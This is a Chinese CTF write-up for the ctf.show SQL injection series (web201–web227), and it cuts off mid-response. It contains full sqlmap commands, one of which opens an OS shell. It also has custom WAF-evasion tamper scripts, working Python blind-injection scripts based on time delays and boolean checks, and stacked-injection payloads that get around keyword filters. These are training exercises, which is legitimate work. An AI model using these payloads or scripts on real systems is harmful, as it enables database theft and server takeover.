题目提示 --user-agent 指定 user-agent,实际上不是 sqlmap 的 ua 还不让访问,测试 ua sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org) 可用。
题目还指定使用 --referer 绕过 referer 检查,带着 sqlmap 的 ua 访问会提示“打击盗版人人有责,你都不是从ctf.show来的”,故指定 referer 为 ctf.show。

# 检测注入类型
$ sqlmap http://cd31c7e8-9d3a-4f97-b5b5-7eb0d38d23e0.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show"

# 出库名
$ sqlmap http://cd31c7e8-9d3a-4f97-b5b5-7eb0d38d23e0.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show" -dbs

# 出表名
$ sqlmap http://cd31c7e8-9d3a-4f97-b5b5-7eb0d38d23e0.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show" -D "ctfshow_web" --tables

# 出数据
$ sqlmap http://cd31c7e8-9d3a-4f97-b5b5-7eb0d38d23e0.challenge.ctf.show:8080/api/?id=1 --referer="ctf.show" -D "ctfshow_web" -T "ctfshow_user" --dump

数据中找到 flag。

web202

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."';";
      
//对传入的参数进行了过滤
function waf($str){
   //代码过于简单,不宜展示
}

sqlmap 工具使用练习。
题目强调使用 --data 指定 sqlmap 以 post 方式提交数据。

$ sqlmap -u "http://5d506c45-1336-4345-858f-1de6dacef1a1.challenge.ctf.show:8080/api/" --data="id=1" --level=3 --risk=3    
$ sqlmap -u "http://5d506c45-1336-4345-858f-1de6dacef1a1.challenge.ctf.show:8080/api/" --data="id=1" --level=3 --risk=3 --dbs
$ sqlmap -u "http://5d506c45-1336-4345-858f-1de6dacef1a1.challenge.ctf.show:8080/api/" --data="id=1" --level=3 --risk=3 --D "ctfshow_web" --tables
$ sqlmap -u "http://5d506c45-1336-4345-858f-1de6dacef1a1.challenge.ctf.show:8080/api/" --data="id=1" --level=3 --risk=3 -D "ctfshow_web" -T "ctfshow_user" --dump

数据中找到 flag。

web203

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."';";
      
//对传入的参数进行了过滤
function waf($str){
   //代码过于简单,不宜展示
 }

sqlmap 工具使用练习。
--method 指定 put 请求方式,url 要带 index.php,还要加上 --headers="Content-Type: text/plain" 便于 put 接收表单参数。

$ sqlmap -u "http://c9d3e765-d676-4c4c-a87b-3b99ebf5e70b.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

web204

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."';";
     
//对传入的参数进行了过滤
function waf($str){
   //代码过于简单,不宜展示
}

sqlmap 工具使用练习。
--cookie 带上 PHPSESSID,其余不变。

$ sqlmap -u "http://38e4a4ea-fb61-45cd-81cb-2f96697a5d0f.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web -T ctfshow_user --dump

web205

//拼接sql语句查找指定ID用户
$sql = "select id,username,password from ctfshow_user where id = '".$_GET['id']."';";
      
//对传入的参数进行了过滤
function waf($str){
   //代码过于简单,不宜展示
}

sqlmap 工具使用练习。
题目提示 api 调用需要鉴权,查看日志发现 /api/getToken.php 的访问,设置参数 --safe-url 和 --safe-freq 在调用 api 前访问 token 链接。

$ sqlmap -u "http://66b00e8e-9b47-461a-925a-5dc2c3ef9988.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="http://66b00e8e-9b47-461a-925a-5dc2c3ef9988.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -T ctfshow_flax --dump

web206

//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";
      
//对传入的参数进行了过滤
function waf($str){
   //代码过于简单,不宜展示
}

sqlmap 工具使用练习。
题目提示 sql 需要闭合,但似乎对 sqlmap 没有影响,和上一题相比只变了表名。

$ sqlmap -u "http://56856f5f-d186-4e25-827b-5f18cafa3df3.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="http://56856f5f-d186-4e25-827b-5f18cafa3df3.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -T ctfshow_flaxc --dump

web207

//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";
      
//对传入的参数进行了过滤
function waf($str){
   return preg_match('/ /', $str);
}

sqlmap 工具使用练习。
题目提示要用 --tamper 加载自己写的 tamper,给出的正则过滤了空格 (%20),所以要用 tamper 替换一下 Payload 里面的空格。

$ ls /usr/share/sqlmap/tamper | grep space
multiplespaces.py
space2comment.py
space2dash.py
space2hash.py
space2morecomment.py
space2morehash.py
space2mssqlblank.py
space2mssqlhash.py
space2mysqlblank.py
space2mysqldash.py
space2plus.py
space2randomblank.py

工具自带了很多空格替换的 tamper,这里使用 sapce2comment 绕过。

$ sqlmap -u "http://bc2af829-2f3c-4060-b63c-101630fdfe14.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="http://bc2af829-2f3c-4060-b63c-101630fdfe14.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=space2comment -T ctfshow_flaxca --dump

web208

//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";
      
返回逻辑

//对传入的参数进行了过滤
// $id = str_replace('select', '', $id);
function waf($str){
   return preg_match('/ /', $str);
}

sqlmap 工具使用练习。
和上一题差不多,就变了表名。

$ sqlmap -u "http://c5edaa62-dac4-41f9-aab7-2c8c0f734bcd.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="http://c5edaa62-dac4-41f9-aab7-2c8c0f734bcd.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=space2comment -T ctfshow_flaxcac --dump

web209

//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";
      
//对传入的参数进行了过滤
function waf($str){
   //TODO 未完工
   return preg_match('/ |\*|\=/', $str);
}

sqlmap 工具使用练习。
过滤正则表达式新增过滤 * =,没有现成可用的绕过过滤的 tamper,自己写一个。
/usr/share/sqlmap/tamper/web209.py

#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass


def tamper(payload, **kwargs):
    return payload.replace("=", " like ").replace(" ", chr(0x09))
$ sqlmap -u "http://1d757578-d745-49b6-ac7d-d8b6ca04b103.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="http://1d757578-d745-49b6-ac7d-d8b6ca04b103.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=web209 -T ctfshow_flav --dump

web210

//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";
      
//对查询字符进行解密
function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
}

sqlmap 工具使用练习,根据给出的解码函数编写 tamper

#!/usr/bin/env python

import base64

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    return base64.b64encode(base64.b64encode(payload[::-1].encode()).decode()[::-1].encode()).decode()
$ sqlmap -u "http://97a2abb3-9463-4f0c-b5aa-291bcf252154.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="http://97a2abb3-9463-4f0c-b5aa-291bcf252154.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=web210 -T ctfshow_flavi --dump

web211

//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";
      
//对查询字符进行解密
function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
    return preg_match('/ /', $str);
}

sqlmap 工具使用练习,解码和字符过滤一起来

#!/usr/bin/env python

import base64

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
    pass

def tamper(payload, **kwargs):
    return base64.b64encode(base64.b64encode(payload.replace(" ", chr(0x09))[::-1].encode()).decode()[::-1].encode()).decode()
$ sqlmap -u "http://7c37ec3d-adf8-4cb7-b8cc-d79be416452b.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="http://7c37ec3d-adf8-4cb7-b8cc-d79be416452b.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=web211 -T ctfshow_flavia --dump

web212

//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";
      
//对查询字符进行解密
function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
    return preg_match('/ |\*/', $str);
}

sqlmap 工具使用练习,和上一题没差,增加的过滤不影响 tamper

$ sqlmap -u "http://78ef7e34-5843-4584-b7dd-d16f0dde210f.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show -D ctfshow_web --safe-url="http://78ef7e34-5843-4584-b7dd-d16f0dde210f.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=web211 -T ctfshow_flavis --dump

web213

//拼接sql语句查找指定ID用户
$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";
      
//对查询字符进行解密
function decode($id){
    return strrev(base64_decode(strrev(base64_decode($id))));
}
function waf($str){
    return preg_match('/ |\*/', $str);
}

sqlmap 工具使用练习,和上一题完全一样,但 flag 不在表里。题目也提示使用 --os-shell 来 getshell。

$ sqlmap -u "http://c4548dab-7ead-4a80-a384-31f72836e279.challenge.ctf.show:8080/api/index.php" --method=put --data="id=1" --headers="Content-Type: text/plain" --cookie="PHPSESSID=rj2j2j2ool1bbkj2sps4u1m0ml; ctfshow=cbbfc316f35593f84f3ae1c60b64df16" --referer=ctf.show --safe-url="http://c4548dab-7ead-4a80-a384-31f72836e279.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 --tamper=web211 --os-shell
os-shell> cat /ctfshow_flag

在根目录找到 flag。

web214

时间盲注,题目提示是时间盲注,这次没给查询语句和返回逻辑。index.php 请求的时候有一个 /api 的请求但 response 没有内容,试着在 ip 处填写 if(1,sleep(5),0) 请求成功延时了 5 秒,确定注入点。

import requests

url = "http://d3ae60d0-2e14-4022-a741-a5792e99ae19.challenge.ctf.show:8080/api/"
# 库名 informbtion_schema,test,mysql,performance_schema,czfshow_web
# payload = "if(ascii(mid((select group_concat(schema_name) from information_schema.schemata),{},1))>{},sleep(5),1)"
# 表名 ctfshow_flagx,ctfshow_info
# payload = "if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(5),1)"
# 列名 id,flaga,info,id,ip,cname
# payload = "if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{},sleep(5),1)"
# flag
payload = "if(ascii(mid((select group_concat(flaga) from ctfshow_flagx),{},1))>{},sleep(5),1)"


def valid_char(index: int, ascii: int) -> bool:
    data = {
        "ip": payload.format(index, ascii),
        "debug": 0
    }
    try:
        _ = requests.post(url, data=data, timeout=2)
    except:
        return True
    return False


result = ""
i = 1

while True:
    start = 32
    end = 127
    while not (abs(start-end) == 1 or start == end):
        p = (start + end) // 2
        if valid_char(i, p):
            start = p
        else:
            end = p
    if end < start:
        end = start
    result += chr(end)
    print(f"[*] result: {result}")
    i += 1

web215

//用了单引号

时间盲注,查询语句提示用了单引号,其他提示依旧没有。尝试 111' or if(1,sleep(5),1) #,成功延时。尝试之前的查库名 payload 也能延时,证明语句执行了没有被过滤。
写脚本在跑 flag 的时候,跑了几次都出不来,后来发现是列名有问题,加长了延时后结果才是对的,网络环境对时间盲注的影响不容小觑。

import requests

url = "http://08a214e9-f2ea-4fce-9da4-2415fbf3e37f.challenge.ctf.show:8080/api/"
# 表名 ctfshow_flagxc,cthshow_info
# payload = "111' or if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},sleep(10),1) #"
# 列名 id,flagaa,info,id,ip,cname
# payload = "111' or if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{},sleep(10),1) #"
# flag
payload = "111' or if(ascii(mid((select flagaa from ctfshow_flagxc),{},1))>{},sleep(10),1) #"


def valid_char(index: int, ascii: int) -> bool:
    data = {
        "ip": payload.format(index, ascii),
        "debug": 0
    }
    try:
        _ = requests.post(url, data=data, timeout=5)
    except:
        return True
    return False


result = ""
i = 1

while True:
    start = 32
    end = 127
    while not (abs(start-end) == 1 or start == end):
        p = (start + end) // 2
        if valid_char(i, p):
            start = p
        else:
            end = p
    if end < start:
        end = start
    if chr(end) == '!':
        break
    result += chr(end)
    print(f"[*] result: {result}")
    i += 1

web216

    where id = from_base64($id);

时间盲注,查询语句给了一个 from_base64 的操作,这里可以在里面 if 也可以在外面 if,214 题的脚本可用。

web217

    where id = ($id);
      
//屏蔽危险分子
function waf($str){
    return preg_match('/sleep/i',$str);
}  

时间盲注,查询语句有个括号里外都能 if,返回逻辑部分禁用了 sleep,还可以用 benchmark 和笛卡尔积。
没有了 sleep 要注意把控时间,过大的计算量会卡死,导致后面的注入都不能进行,甚至需要重开环境。
为了获得比较准确的结果,加了一些 time.sleep(10) 跑了很久,阳寿换 flag 典中典了。。。

import time

import requests

url = "http://8305ab89-65fe-4af7-941d-3edf147d1629.challenge.ctf.show:8080/api/"
# 表名 ctfshow_flagxccb,ctfshow_info
# payload = "if(ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},benchmark(8000000,md5(0x31)),1)"
# 列名 id,flagaabc,info,id,ip,cname
# payload = "if(ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{},benchmark(8000000,md5(0x31)),1)"
# flag
payload = "if(ascii(mid((select group_concat(flagaabc) from ctfshow_flagxccb),{},1))>{},benchmark(8000000,md5(0x31)),1)"


def valid_char(index: int, ascii: int) -> bool:
    data = {
        "ip": payload.format(index, ascii),
        "debug": 0
    }
    try:
        _ = requests.post(url, data=data, timeout=3)
    except:
        return True
    return False


result = ""
i = 1

while True:
    start = 32
    end = 127
    while not (abs(start-end) == 1 or start == end):
        p = (start + end) // 2
        if valid_char(i, p):
            start = p
            time.sleep(10) # benchmark 跑完大概需要 10s 多,3s 超时后再让它跑 10s,防止阻塞后全部超时影响时间盲注
        else:
            end = p
    if end < start:
        end = start
    if chr(end) == '!':
        break
    result += chr(end)
    print(f"[*] result: {result}")
    i += 1

web218

    where id = ($id);
      
//屏蔽危险分子
function waf($str){
    return preg_match('/sleep|benchmark/i',$str);
}  

时间盲注,这次 sleep benchmark 都被禁用了,改用笛卡尔积。

https://cloud.tencent.com/developer/article/1601686
通过采用 1 个表 2 个列,或者 2 个列一个表,等等各种组合找出合适的延时的时间。

经过测试,利用 information_schema 中的数据,一个 columns 和两个 tables 的笛卡尔积刚好能延时 6 秒左右,适合构造 payload。

import time

import requests

url = "http://6a887fe9-0d60-463b-825c-6cfccacc07bb.challenge.ctf.show:8080/api/"
# 表名 ctfshow_flagxc,ctfshow_info
# payload = "ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}"
# 列名 id,flagaac
# payload = "ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{}"
# flag
payload = "ascii(mid((select flagaac from ctfshow_flagxc),{},1))>{}"


def valid_payload(p: str) -> bool:
    data = {
        "debug": 0,
        "ip": f"if({p},(select count(*) from information_schema.columns A,information_schema.tables B,"
              f"information_schema.tables C),1) "
    }
    time_s = time.time()
    _ = requests.post(url, data=data)
    time_e = time.time()
    # 改用手动计时防止多次没跑完的笛卡尔积叠加卡死影响注入
    return time_e-time_s > 4


index = 1
result = ""

while True:
    start = 32
    end = 127
    while not(abs(start - end) == 1 or start == end):
        everage = (start + end) // 2
        if valid_payload(payload.format(index, everage)):
            start = everage
        else:
            end = everage
    if end < start:
        end = start
    if chr(end) == "!":
        break
    result += chr(end)
    print(f"[*] result: {result}")
    index += 1

web219

    where id = ($id);
      
//屏蔽危险分子
function waf($str){
    return preg_match('/sleep|benchmark|rlike/i',$str);
}  

时间盲注,过滤新增 rlike,对上一题的脚本没有影响,一把梭。

import time

import requests

url = "http://7337669d-2dd1-4181-9656-aa71b4f34d25.challenge.ctf.show:8080/api/"
# 表名 ctfshow_flagxca,ctfshow_info
# payload = "ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}"
# 列名 id,flagaabc,info,id,ip,cnak
# payload = "ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{}"
# flag
payload = "ascii(mid((select flagaabc from ctfshow_flagxca),{},1))>{}"


def valid_payload(p: str) -> bool:
    data = {
        "debug": 0,
        "ip": f"if({p},(select count(*) from information_schema.columns A,information_schema.tables B,"
              f"information_schema.tables C),1) "
    }
    time_s = None
    time_e = None
    while True:
        time_s = time.time()
        try:
            _ = requests.post(url, data=data)
        except:
            continue
        time_e = time.time()
        break
    # 改用手动计时防止多次没跑完的笛卡尔积叠加卡死影响注入
    return time_e-time_s > 4


index = 1
result = ""

while True:
    start = 32
    end = 127
    while not(abs(start - end) == 1 or start == end):
        everage = (start + end) // 2
        if valid_payload(payload.format(index, everage)):
            start = everage
        else:
            end = everage
    if end < start:
        end = start
    if chr(end) == "!":
        break
    result += chr(end)
    print(f"[*] result: {result}")
    index += 1

web220

    where id = ($id);
      
//屏蔽危险分子
function waf($str){
    return preg_match('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i',$str);
}   

时间盲注,禁用掉了 ascii hex concat_ws concat mid substr,不能用二分法,要拼接比较了。
在构造 payload 的时候使用 limit 限制查询条数,从而绕过 concat 的限制,查到所有的结果。

import string
import time

import requests

url = "http://bbdb689b-386c-435c-ae43-e707b9f65a76.challenge.ctf.show:8080/api/"
# 表名 ctfshow_flagxcac
# payload = "left((select table_name from information_schema.tables where table_schema=database() limit 0,1),{})='{}'"
# 列名 flagaabcc
# payload = "left((select column_name from information_schema.columns where table_name='ctfshow_flagxcac' limit 1,1),{})='{}'"
# flag
payload = "left((select flagaabcc from ctfshow_flagxcac limit 0,1),{})='{}'"


def valid_payload(p: str) -> bool:
    data = {
        "debug": 0,
        "ip": f"if({p},(select count(*) from information_schema.columns A,information_schema.tables B,"
              f"information_schema.tables C),1) "
    }
    time_s = None
    time_e = None
    while True:
        time_s = time.time()
        try:
            _ = requests.post(url, data=data)
        except:
            continue
        time_e = time.time()
        break
    # 改用手动计时防止多次没跑完的笛卡尔积叠加卡死影响注入
    return time_e-time_s > 4


letters = "{}_-" + string.ascii_lowercase + string.digits
index = 1
result = ""

while True:
    for letter in letters:
        load = payload.format(index, result + letter)
        if valid_payload(load):
            result += letter
            break
    print(f"[*] result: {result}")
    index += 1

web221

//分页查询
$sql = select * from ctfshow_user limit ($page-1)*$limit,$limit;

//TODO:很安全,不需要过滤
//拿到数据库名字就算你赢

limit 位置注入,参考文章 https://www.leavesongs.com/PENETRATION/sql-injections-in-mysql-limit-clause.html 利用 procedure analyse 构造参数。
payload /api/?page=1&limit=1 procedure analyse(extractvalue(rand(),concat(0x3a,database())),1)

web222

//分页查询
$sql = select * from ctfshow_user group by $username;

//TODO:很安全,不需要过滤

group by 位置注入,和前面时间盲注一样,可复用脚本。

import time

import requests

url = "http://3c71a933-4713-4ccb-8a89-9bc4bbea0bf3.challenge.ctf.show:8080/api/"
# 表名 ctfshow_flaga,ctfshow_user
# payload = "ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{}"
# 列名 id,flagaabc,info,id,username,pass
# payload = "ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},1))>{}"
# flag
payload = "ascii(mid((select flagaabc from ctfshow_flaga),{},1))>{}"


def valid_payload(p: str) -> bool:
    username = f"if({p},(select count(*) from information_schema.columns A,information_schema.tables B," \
               f"information_schema.tables C),1) "
    time_s = None
    time_e = None
    while True:
        time_s = time.time()
        try:
            _ = requests.get(f"{url}?u={username}&page=3&limit=10")
        except:
            continue
        time_e = time.time()
        break
    # 改用手动计时防止多次没跑完的笛卡尔积叠加卡死影响注入
    return time_e-time_s > 4


index = 1
result = ""

while True:
    start = 32
    end = 127
    while not(abs(start - end) == 1 or start == end):
        everage = (start + end) // 2
        if valid_payload(payload.format(index, everage)):
            start = everage
        else:
            end = everage
    if end < start:
        end = start
    if chr(end) == "!":
        break
    result += chr(end)
    print(f"[*] result: {result}")
    index += 1

web223

//分页查询
$sql = select * from ctfshow_user group by $username;

//TODO:很安全,不需要过滤
//用户名不能是数字

group by 位置注入,和上一题差不多,不过这次再尝试会发现禁用了数字,改用 true 构造数字。

import time

import requests


def make_num(i: int) -> str:
    return '+'.join("true" for _ in range(i))


url = "http://9a3b0f78-09a7-4bd9-8c46-b092345a74d2.challenge.ctf.show:8080/api/"
# 表名 ctfshow_flagas,ctfshow_user
# payload = "ascii(mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},true))>{}"
# 列名 id,flagasabc,info,id,username,pass
# payload = "ascii(mid((select group_concat(column_name) from information_schema.columns where table_schema=database()),{},true))>{}"
# flag
payload = "ascii(mid((select flagasabc from ctfshow_flagas),{},true))>{}"


true_flag = "passwordAUTO"


def valid_payload(p: str) -> bool:
    username = f"if({p},username,'a')"
    response = None
    while True:
        try:
            response = requests.get(f"{url}", params={"u": username})
        except:
            continue
        break
    return true_flag in response.text


index = 1
result = ""

while True:
    start = 32
    end = 127
    while not(abs(start - end) == 1 or start == end):
        everage = (start + end) // 2
        if valid_payload(payload.format(make_num(index), make_num(everage))):
            start = everage
        else:
            end = everage
    if end < start:
        end = start
    if chr(end) == "!":
        break
    result += chr(end)
    print(f"[*] result: {result}")
    index += 1

能布尔盲注就别时间盲注,快太多了

web224

可能是和文件上传的某道题联动了,先留着。

web225

//分页查询
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";

//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set/i',$username)){
    die(json_encode($ret));
}

有过滤的堆叠注入,可以利用预处理或 handler,参考文章

预处理解法

concat 和 char 都可以绕过过滤。

def make_payload(sql: str) -> str:
    return f"ctfshow';prepare n from char({','.join(str(ord(c)) for c in sql)});execute n%23"

payload1: make_payload("show tables;")

{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","username":"ctfshow","pass":"ctfshow"},{"Tables_in_ctfshow_web":"ctfshow_flagasa"},{"Tables_in_ctfshow_web":"ctfshow_user"}]}

payload2: make_payload("select * from ctfshow_flagasa;")

{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","username":"ctfshow","pass":"ctfshow"},{"id":"1","flagas":"ctfshow{83599e7a-ba35-4ce6-88a1-6e1c69755ccb}","info":"you get it"}]}

handler 解法

payload1: ctfshow';show tables%23

{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","username":"ctfshow","pass":"ctfshow"},{"Tables_in_ctfshow_web":"ctfshow_flagasa"},{"Tables_in_ctfshow_web":"ctfshow_user"}]}

payload2: ctfshow';handler ctfshow_flagasa open as t;handler t read first;handler t close%23

{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"1","username":"ctfshow","pass":"ctfshow"},{"id":"1","flagas":"ctfshow{83599e7a-ba35-4ce6-88a1-6e1c69755ccb}","info":"you get it"}]}

web226

//分页查询
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";

//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|\(/i',$username)){
    die(json_encode($ret));
}

有过滤的堆叠注入,和上题相比禁用了 show (,concat 或 char 函数可以用 0x 代替,就可以继续预处理了。
至于 handler,也需要出表名,没弄出来就只用预处理了。

def make_payload(sql: str) -> str:
    return f"user1';prepare n from 0x{sql.encode().hex()};execute n%23"

payload1: make_payload("show tables;")

{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"2","username":"user1","pass":"111"},{"Tables_in_ctfshow_web":"ctfsh_ow_flagas"},{"Tables_in_ctfshow_web":"ctfshow_user"}]}

payload2: make_payload("select * from ctfsh_ow_flagas;")

{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"2","username":"user1","pass":"111"},{"id":"1","flagasb":"ctfshow{c09680e6-42ea-4b36-93fd-bd8b47c23002}","info":"you get it"}]}

web227

//分页查询
$sql = "select id,username,pass from ctfshow_user where username = '{$username}';";
      
//师傅说过滤的越多越好
if(preg_match('/file|into|dump|union|select|update|delete|alter|drop|create|describe|set|show|db|\,/i',$username)){
    die(json_encode($ret));
}

有过滤的堆叠注入,预处理还是可以用,但是就是找不到 flag,传了 shell 也没找到。后来知道了这题的考点是查看MySQL的存储过程

def make_payload(sql: str) -> str:
    return f"user1';prepare n from 0x{sql.encode().hex()};execute n%23"

payload: make_payload("select * from information_schema.routines;")

{"code":0,"msg":"\u67e5\u8be2\u6210\u529f","count":1,"data":[{"id":"2","username":"user1","pass":"111"},{"SPECIFIC_NAME":"getFlag","ROUTINE_CATALOG":"def","ROUTINE_SCHEMA":"ctfshow_web","ROUTINE_NAME":"getFlag","ROUTINE_TYPE":"PROCEDURE","DATA_TYPE":"","CHARACTER_MAXIMUM_LENGTH":null,"CHARACTER_OCTET_LENGTH":null,"NUMERIC_PRECISION":null,"NUMERIC_SCALE":null,"DATETIME_PRECISION":null,"CHARACTER_SET_NAME":null,"COLLATION_NAME":null,"DTD_IDENTIFIER":null,"ROUTINE_BODY":"SQL","ROUTINE_DEFINITION":"BEGIN\n\tSELECT \"ctfshow{a697fb41-7a92-40d5-a50c-4cc17ba75fb7}\";\n\tEND","EXTERNAL_NAME":null,"EXTERNAL_LANGUAGE":null,"PARAMETER_STYLE":"SQL","IS_DETERMINISTIC":"NO","SQL_DATA_ACCESS":"CONTAINS SQL","SQL_PATH":null,"SECURITY_TYPE":"DEFINER","CREATED":"2021-07-28 14:42:39","LAST_ALTERED":"2021-07-28 14:42:39","SQL_MODE":"STRICT_TRANS_TABLES,ERROR_FOR_DIVISION_BY_ZERO,NO_AUTO_CREATE_USER,NO_ENGINE_SUBSTITUTION","ROUTINE_COMMENT":"","DEFINER":"root@localhost","CHARACTER_SET_CLIENT":"utf8","COLLATION_CONNECTION":"utf8_general_ci","DATABASE_COLLATION":"utf8mb4_general_ci"},{"SPECIFIC_NAME":"AddGeometryColumn","ROUTINE_CATALOG":"def","ROUTINE_SCHEMA":"mysql","ROUTINE_NAME":"AddGeometryColumn","ROUTINE_TYPE":"PROCEDURE","DATA_TYPE":"","CHARACTER_MAXIMUM_LENGTH":null,"CHARACTER_OCTET_LENGTH":null,"NUMERIC_PRECISION":null,"NUMERIC_SCALE":null,"DATETIME_PRECISION":null,"CHARACTER_SET_NAME":null,"COLLATION_NAME":null,"DTD_IDENTIFIER":null,"ROUTINE_BODY":"SQL","ROUTINE_DEFINITION":"begin\n  set @qwe= concat('ALTER TABLE ', t_schema, '.', t_name, ' ADD ', geometry_column,' GEOMETRY REF_SYSTEM_ID=', t_srid); PREPARE ls from @qwe; execute ls; deallocate prepare ls; end","EXTERNAL_NAME":null,"EXTERNAL_LANGUAGE":null,"PARAMETER_STYLE":"SQL","IS_DETERMINISTIC":"NO","SQL_DATA_ACCESS":"CONTAINS SQL","SQL_PATH":null,"SECURITY_TYPE":"INVOKER","CREATED":"2019-10-31 04:15:22","LAST_ALTERED":"2019-10-31 